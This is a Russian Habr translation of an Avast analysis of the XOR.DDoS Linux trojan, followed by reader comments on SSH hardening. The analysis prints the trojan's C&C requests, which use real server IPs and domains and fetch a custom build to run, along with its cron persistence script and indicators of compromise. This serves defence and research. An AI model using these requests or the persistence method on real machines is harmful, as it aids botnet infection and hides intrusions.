Linux DDoS-троян скрывается за встроенным руткитом

Предлагаю вниманию читателей «Хабрахабра» перевод статьи «Linux DDoS Trojan hiding itself with an embedded rootkit» из блога антивирусной компании Avast.

По сообщениям группы «MalwareMustDie!», в конце сентября 2014 года появилась новая угроза для ОС Linux. Её назвали XOR.DDOS, как видно из названия, она образует ботнет для DDoS-атак. Пост упоминал о первоначальном вторжении, по SSH соединению, статические свойства исполняемых файлов Linux и используемые методы шифрования. Позже мы поняли, что процесс установки настраивает окружение Linux жертвы для работы дополнительного компонента — руткита.

Скрипт установки и вектор заражения


Инфицирование начинается с попытки брут-форса SSH, используя логин root. В случае успеха злоумышленники получают доступ к скомпрометированной машине, а затем устанавливают троян, как правило, с помощью шелл-скрипта. Скрипт содержит такие процедуры, как main, check, compiler, uncompress, setup, generate, upload, checkbuild и т.д. и переменные __host_32__, __host_64__, __kernel__, __remote__,, и т.д. Процедура main расшифровывает и выбирает C&C сервер, основываясь на архитектуре системы.

В запросе ниже параметр iid — это MD5-хэш от имени версии ядра. Сначала скрипт перечисляет все модули, работающие в текущей системе с помощью команды lsmod. Затем он берет последний и извлекает свое имя и параметр vermagic. В одном из наших случаев среда тестирования работает под «3.8.0-19-generic\SMP\mod_unload\modversions\686\», который имеет MD5-хэш, равную CE74BF62ACFE944B2167248DD0674977.

Три GET-запроса отправляются на C&C. Первой выполняется процедура check:
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!

Затем процедура compiler отправляет еще один GET-запрос, в котором такие параметры как C&C servers, version infо и т.д. передаются на сервер, где они собраны в недавно созданный исполняемый файл:
request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!

Наконец, третий GET-запрос загружает адаптированную версию исполняемого файла трояна, запакованную в gzip-архив, который распаковывается и запускается:
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok

Предыдущие шаги выполняются только в том случае, если уже есть собранная версия для текущей версии ядра на сервере. Если нет, сценарий находит заголовочные файлы ядра в директории /lib/modules/%s/build/, где %s означает возвращаемое значение после выполнения команды uname -r, затем упаковывает все файлы и загружает их на сервер C&C, используя специальный загрузчик, названный mini. Это первый сценарий.

Компоненты руткита являются загружаемыми модулями ядра (LKM). Для успешной установки их в системе, значение vermagic LKM необходимо согласовать с версией заголовочных файлов ядра, установленных в пользовательской системе. Именно в этом смысл всех предыдущих шагов установки. Если предыдущие последовательности потерпели неудачу, скрипт устанавливает троян без компонентов руткита.

Структура и живучесть


Двоичная структура основного исполняемого файла следующая:



Живучесть трояна достигается несколькими способами. Во-первых, он устанавливается в каталог /boot/ с именем, содержащим случайную строку из 10 символов. Затем скрипт с идентичным именем создается в каталоге /etc/init.d/. Вместе с пятью символическими ссылками, указывающими на скрипт, созданный в /etc/rc%u.d/S90%s, где %u перечисление от 1 до 5, а %s заменяется рандомным именем файла трояна. Кроме того, скрипт добавляет файл /etc/cron.hourly/cron.sh со следующим содержимым:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’
for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

Строка "*/3 * * * * root /etc/cron.hourly/cron.sh" добавляется в crontab.

Функциональность основного исполняемого файла заключается в трех бесконечных циклах, ответственных за:
  • Скачивание и выполнение инструкций в конфигурационный файл бота;
  • Переустановка себя как /lib/udev/udev;
  • Выполнение flood-команд.

Файл конфигурации содержит четыре категории списков: md5, denyip, filename и rmfile. Имеется в виду убийство запущенного процесса по его CRC-контрольной сумме, по активным соединениям с IP из списка, по имени файла
и, наконец, удаление файла с определенным именем. На следующем рисунке отображается фрагмент конфигурационного файла (выделены известные имена файлов, с соответствующими троянами).



Убийство процессов или удаление списка процессов, до его установки, типично для троянов.
Кроме того, мы должны отметить, что есть модификация этого трояна, скомпилированного для архитектуры ARM. Это говорит о том, что список потенциально инфицированных систем (кроме 32-х и 64-х Linux веб-серверов и настольных ПК) расширяется на маршрутизаторы, IoT, NAS хранилища или 32-битные сервера ARM (однако, пока это не наблюдалось в природе). Он содержит дополнительную реализацию функцию загрузки-и-выполнения в бесконечном цикле под названием daemondown:



Несколько дней назад наблюдался новый 32-битный вариант данного трояна с некоторыми изменениями. Бот устанавливается как /lib/libgcc4.so файл и уникальный файл, содержащий идентификационную строку в /var/run/udev.pid, скрипт инициализации был в /etc/cron.hourly/udev.sh и функции руткита были полностью опущены. Наличие всех этих файлов может служить индикатором компрометирования.

LKM Руткит


Трояны для платформы Windows использовали различные функции руткита в течении очень долгого времени. Известно, что некоторые трояны имели Windows вариант руткита Агония (Agony rootkit — его исходный код был опубликован в 2006 году). Мы представили исследования, связанные с этим вредоносным DDoS инструментом на Botconf 2014 в обзоре под названием Китайская курица: многоплатформенный-DDoS-ботнет. Теперь есть flood-троян для Linux, который также содержит встроенный руткит. Это основная функциональность, чтобы скрыть различные аспекты деятельности трояна и обеспечить выполнение процедур:



Троян работает в пользовательском пространстве, запрашивая эти функции от руткита в ядре с помощью команды управления вводом-выводом с определенным кодом (0×9748712). Наличие руткита сначала проверяется, открыв процесс с именем rs_dev:



Собственно, запросу необходимо два параметра: один указывает номер команды, которую будет выполнять руткит, а другой является номером порта, чтобы быть скрытым. Ниже пример того, как троян скрывает порт TCP (обратите внимание на task 3):



Основываясь на именах процедур, вполне вероятно, что авторы вредоносного ПО были вдохновлены проектом с открытым исходным кодом под названием Suterusu, чтоб собрать свой ​​руткит. Троян с прошлого года называется «Рука Вора», он потерпел неудачу в своих амбиций, стать первым банковским трояном для Linux-десктоп. Он также заимствовал часть кода из существующего проекта с открытым исходным кодом, а именно — методов введения процесса. Описание проекта гласит: «LKM руткит для Linux 2.6/3.x на x86(_64) и ARM». В другой статье, связанной с Suterusu, был опубликован в январе 2013 года.

C&C связи


Данные передаются в зашифрованном виде в обоих направлениях с одним и тем же захардкоженым ключом XOR (BB2FA36AAA9541F0) в качестве конфигурационного файла. Дополнительный файл /var/run/sftp.pid, содержащий уникальную магическую строку длиной 32 байт, хранится и используется в качестве уникального идентификатора машины жертвы в сообщения. Существует список команд C&C, которые бот слушает: начать flood, остановить flood, скачать-и-выполнить, самообновление, отправить MD5 хэш его памяти и получить список процессов, чтобы убить:



Список C&C-серверов хранится в шелл-скрипте в переменной __remote__. Троян сначала отправляет информацию о работающей системе к серверу C&C (весьма вероятно будет отображаться на панели оператора ботнет). Ответы обычно приходят в виде команды. Заголовок команды длиной 0x1C байт хранится в структуре, называемой Header. Первая команда останавливает любые флуд-атаки и начинает следующую с одним из хостов, представленном в списке. Записи о заголовке приведены ниже. Выделенные параметры размер — это общий размера команды (Size, 0x102C), число задач (Order, 0×3, т.е. _cmd_start в таблице switch), а количество flood задач (Task_Num, 0xf):



Остальная часть команды flood содержит зашифрованую структуру с задачами атаки. После расшифровки мы можем увидеть IP-адрес (красный цвет) и порты (зеленый цвет), которые будут выполнены трояном и других параметров атаки DDoS (например, серый цвет решает тип атаки: SYN / DNS).

Share post

Similar posts

Comments 56

    +20
    Инфицирование начинается с попытки брут-форса SSH, используя логин root.
    Суровый «троян».
      0
      Это аваст написал в своем блоге, что он брутит только root'a. На самом же деле, были случаи когда он пытался подобрать пару login:password, затем использует «повышение привилегий», не обошлось и без использования shellshock.
        0
        В любом случае, это уже сетевой червь, а не троян.
      • UFO just landed and posted this here
        –1
        Если root может подключаться удаленно, то владельцев таких серверов не очень жалко.
          +5
          Я, как диванный системный администратор, смею заметить, что пользователя от рута отделяет лишь один вызов sudo/su. Так что ваш аргумент ни о чём.
            +6
            Забрутфорсить логин+пароль гораздо сложнее чем только пароль.
              0
              Но при этом забрутфорсить логин на порядок легче, чем пароль. Так что общая сложность получается того же порядка, что и сложность брутфорса пароля. Кроме того, логин иногда можно узнать и из других источников.
                –1
                Но при этом забрутфорсить логин на порядок легче, чем пароль. Так что общая сложность получается того же порядка, что и сложность брутфорса пароля

                Это было бы верно, если бы существовала отдельная процедура брута логина до брута пароля.

                К примеру, энтропия логина — 10 бит, пароля — 30 бит. Поскольку невозможно узнать, верный ли логин, не указав верный пароль, энтропия пары логин+пароль уже 40 бит (считая эти переменные независимыми).
                  +2
                  В случае, если человек используем уникальные для каждого сервера пароли в стиле «VDhPxh46RBPQA» к которому еще что-то прилеплено, и на сервере стоит хотя бы fail2ban, то брутить root'а можно вечно.
                    0
                    В нашем несовершенном мире, к сожалению, всегда есть шанс выстрелить себе в ногу или что твой коллега выстрелит себе в ногу. Поэтому надо в принципе заводить привычку не направлять ружье на людей. Я к чему. Сложные пароли на рута — это прекрасно. Но авторизация по ключу на серверах — это просто must be. Желательно для всех пользователей. Самым криворуким можно дать исключения.
                      +1
                      Вот потеряет пряморукий коллега ноутбук вместе с ключами и будет весело, а если намеренно украдут — еще веселее. Или «хороший» коллега вставит флешку и скинет ключи «пряморукого» коллеги к себе — тоже весело.
                      Я за авторизацию по ключам для всех пользователей, кроме системного администратора. И именно из-за паранои того, что файлики могут украсть хоть_инопланетяне я их для root'а на критически важных для меня серверах не использую. А там, где второстепенные или третьестепенные — там у меня по ключам сделано.
                      Я понимаю, что так разделять нехорошо и все должно быть важно, но помнить рандомные пароли всех и вся — ну уж нет, а вот десяток с разными суффиксами, это можно, благо жертвы небольшие, и ключи защищаю как умею.
                        0
                        Вы же знаете про шифрованные паролем ключи, ведь правда?
                          –2
                          Тогда поясните, какой смысл использовать пароль на ключ, который (ключ) используется для доступа к серверу вместо ввода сложного пароля?
                          Просто меняет брут пароля для root на брут ключа (который, правда, в начале надо получить)?

                          Тут уже другое страх амнезии потери ключа. Ведь если это очень-очень удаленный сервер куда нету физического доступа, то придется его как минимум перегружать, чтобы загрузить с «пустышкой», и прописать новые ключи.

                          Я не за холивар «пароль Vs. ключ», которые начинают представители той или иной стороны, я за удобство использования, безопасность и скорость, и для меня шанс остаться без копии ключа много выше чем шанс забыть один из паролей и суффикс. Поэтому я использую в большей степени пароли, чем ключи к root. И вижу только 1 преимущества ключа: «сбрутить можно, украв», но и время брута в обоих случаях займет если не вечность, то около того, ведь я не использую пароли и суффиксы от root'а повседневной жизни (=на других ресурсах).
                          Значит сократить диапазон значений для брута в моей случае нельзя.

                          Ключи идеальны для пользователей: поставил putty, поставил ключ без пароля, прокинул порт, пользователь работает дома в прокинутом ПО, и нет необходимости в VPN.
                            0
                            Тогда поясните, какой смысл использовать пароль на ключ, который (ключ) используется для доступа к серверу вместо ввода сложного пароля?
                            Просто меняет брут пароля для root на брут ключа (который, правда, в начале надо получить)?


                            Вот в этом «получить» и суть. Вы считаете, что получить ключ проблемы нет?

                            Тут уже другое страх амнезии потери ключа. Ведь если это очень-очень удаленный сервер куда нету физического доступа, то придется его как минимум перегружать, чтобы загрузить с «пустышкой», и прописать новые ключи.


                            Вы же в курсе про бэкапы, да? Можно под отдельным паролем.

                            Я не за холивар


                            Очень важно это сказать поддерживаю холивар. А то я было подумал, что вы за холивар!

                            для меня шанс остаться без копии ключа много выше


                            Вы таки не в курсе про бэкапы? оО

                            вижу только 1 преимущества ключа


                            Вы троль или шутите? Там кроме брута есть еще дохрена нюансов. Например, то как Вы будете получать доступ рута, зайдя под пользователем. Если не видите сами, почитайте что ли практики более опытных людей в инете.
                            Ключи идеальны для пользователей: поставил putty, поставил ключ без пароля, прокинул порт, пользователь работает дома в прокинутом ПО, и нет необходимости в VPN.


                            Ключи необходимы всегда, кроме случаев, когда необходимо использовать используется ПО, которое их не умеет.
                              –1
                              Прочитав ваш комментарий я понимаю, что не вам работу дают, а вы сами ее себе создаете.
                                0
                                Мне работу создают такие как вы. Которые ни сами не понимают, ни более опытных людей не слушают. А потом за ними подчищать приходится. Ну спасибо вам, что уж. Без хлеба я не останусь.
                                  –1
                                  Если проследить тех, кому я создаю работу больше всего (в течении жизни), то это
                                  врачи->коммунальные службы->различные саппорты. Вы относитесь к какому пункту, чтобы так со мной дискутировать?
                                  Я прекрасно понимаю, что завернувшись в чрезвычайную паранойю, я разобью свой роутер и зашторю окна, и сяду на диван с банкой довоенной тушенки.

                                  Но я не кладу все яйца в одну корзину, и мне проще выделить ресурсов под отдельный «ресурс», на котором внутри которого могут работать пользователи.

                                  Качеством «наружки», которая дергает внутренние механизмы я дорожу. Поэтому все продукты как правило свежие, ну а если что-то нельзя поменять, то урезаю функционал до безопасного. Но это уже к ключам не относится.
                              • UFO just landed and posted this here
                                  0
                                  Запоролированный — от слова «запороть» или «поролон»? :-)
                    0
                    Авторизация только по ключам и брутфорсите на здоровье!
                  • UFO just landed and posted this here
                      –1
                      При использовании /dev/urandom энтропия ничем не гарантируется. Для гарантий уберите u, получите ГСЧ (без П) (в идеале, реальность зависит от железа и реализации).
                    +1
                    Вызов su предполагает новый брутфорс, обычно этот пароль имеет куда большую сложность нежеле пользовательский(у меня так). А владельцев включивших для ssh-пользователей sudo на сервере, не очень-то и жалко…
                      –1
                      > А владельцев включивших для ssh-пользователей sudo на сервере, не очень-то и жалко…
                      Я прошу прощения, а сервер вы администрировать будете исключительно через KVM? Если рассматривать вариант «доступ для рута по ssh по ключам», то что делать с пользователями убунты, например? Или туда уже рута завезли?
                        0
                        Можно и через KVM, даже лучше через отдельный jail, а пользователям убунты ничто не мешает поправить sudoers и сделать аналогичную двойную авторизацию. А вообще не вижу препятствий в удалении sudo с сервера и использовании su.
                          0
                          и да, авторизацию по ключам для root? no way!
                            0
                            А чем убунта отличается от остальных? У меня сервера с убунтой админятся так же как и все остальные. Ключ в ~root/.ssh/authorized_keys и вперед.
                              0
                              В Убунте запрещено входить под рутом, поэтому некоторые думают, что его там нет вообще.) Кстати, не знал, что вход под рутом через ssh разрешён.
                                0
                                «Не знал» в этом случае означает исключительно «не соизволил проверить».

                                В *buntu всего лишь в поле пароля рута стоит "!" (в /etc/shadow). При желании его можно заменить на что-нибудь другое :-D, но и это не нужно, достаточно использовать логин по ключу в SSH.
                                  0
                                  Именно это и значит. Я предпочитаю запрещать рутовый вход по ssh и использовать sudo.
                            0
                            Вызов su предполагает новый брутфорс, обычно этот пароль имеет куда большую сложность нежеле пользовательский(у меня так).
                            Можно установить кейлоггер для текущего пользователя, и дождаться, когда же придет админ.
                          • UFO just landed and posted this here
                              0
                              А можно и без селинукса нормально разграничить права, так что не каждому su будет доступна или вообще не будет использоваться.
                            +3
                            Старая сказка. Просто надо отключать авторизацию по паролям и все. Ставить sudo на сервера более опасно, чем root по ключу. Доступ к su тоже.
                          • UFO just landed and posted this here
                              –1
                              Ничего не понял. Оно в юзерспейсе, или в ядро лезет? Если, да, то не написано как. Если нет — то где тут руткит?
                                0
                                А вопрос-то правильный, непонятно, почему вас минусанули. Это userspace-руткит, который себя LD-PRELOAD'ит, вроде. Они azazel распотрошили, насколько я понял.
                                  0
                                  LD_PRELOAD руткит. Потрясающе. Это примерно как svchost.exe в качестве «вируса».
                                    +1
                                    Да не, это серьезнее, чем вы думаете. Это говно может легко прописаться в /etc/ld.so.preload, скрыть сам этот файл (перехватывать вызовы), скрыть себя из процессов, скрыть соединения и открытые файлы и все такое, и прелоадится в каждый процесс. Почитайте, что умеет azazel: github.com/chokepoint/azazel, только azazel не умеет перехватывать dlsym(), поэтому его можно детектировать из юзерспейса, но вполне можно сделать так, чтобы из юзерспейса его вообще увидеть было нельзя.
                                      0
                                      Я вступаю в область, в которой я сильно плаваю, но по своему опыту я могу сказать, что LD_PRELOAD для некоторых программ не работает. Ярчайший пример — steam, который tsocks просто игнорирует из принципа.
                                        0
                                        Он может работать не так, как задумано, если приложение слинковано статически, но все-же внедрит библиотеку, только хуки на функции работать не будут.
                                          0
                                          А повторный LD_PRELOAD в правильное место не поможет?
                                            0
                                            Я точно не знаю, что там в Steam, но если там действительно статическая линковка, то не поможет.
                                              0
                                              Не, я имею в виду, в контексте топика.
                                                0
                                                Думаю, нет.
                                    0
                                    Компоненты руткита являются загружаемыми модулями ядра (LKM).
                                    Разве это LD-PRELOAD?
                                  +2
                                  Неужели в мире так много людей, которым сложно корректно настроить SSH и поставить аутентификацию только по ключам? Это же так легко делается. Один раз разобраться с опциями в конфиге, зато потом всегда за 5 минут можно поднять секурно настроенный SSH. С аутентификацией по ключам даже никакие fail2ban не нужны.
                                    0
                                    Вы знаете, тут неожиданно оказалось, что бывают люди, которые считают, что пароли лучше!
                                    • UFO just landed and posted this here
                                        0
                                        Пароль на ключи решают проблему компрометации ключей. А простой пароль на ключ ничем не хуже простого пароля от пользователя.

                                        Ваш способ хорош, если доступ по SSH залочен на железку. Но в таком случае вы теряете доступ, если с ней что-то случится, единая точка отказа она такая.

                                        К тому же вопрос вырабатывания правильной привычки. Пароль доступ в линукс, беспарольные ключи зло — надо от них уходить и проектировать инфраструктуру и ПО с учетом того, что весь доступ по ключам.
                                        • UFO just landed and posted this here
                                      0
                                      Нет, fail2ban нужен. Не столько для усложнения перебора, сколько для пресечения эксплуатации уязвимостей.
                                        0
                                        Вот как раз чего уж fail2ban не может, так это защитить от эксплойта. Это всего лишь скрипт-антибрут, который сканит логи демонов на предмет попыток брута и банит ip через iptables. Никакой антиэксплоитной магией он не обладает и даже не анализирует пакеты, как IDS, так что пакет с эксплоитом через себя он пропустит.
                                          0
                                          Ему не нужно обладать антиэксплоитной магией, чтобы защитить от эксплойтов. Но он позволяет уменьшить количество попыток эксплуатации. Если уязвимость эксплуатируется с первой попытки, то это не поможет, но в других случаях — вполне.
                                          • UFO just landed and posted this here

                                      Only users with full accounts can post comments. Log in, please.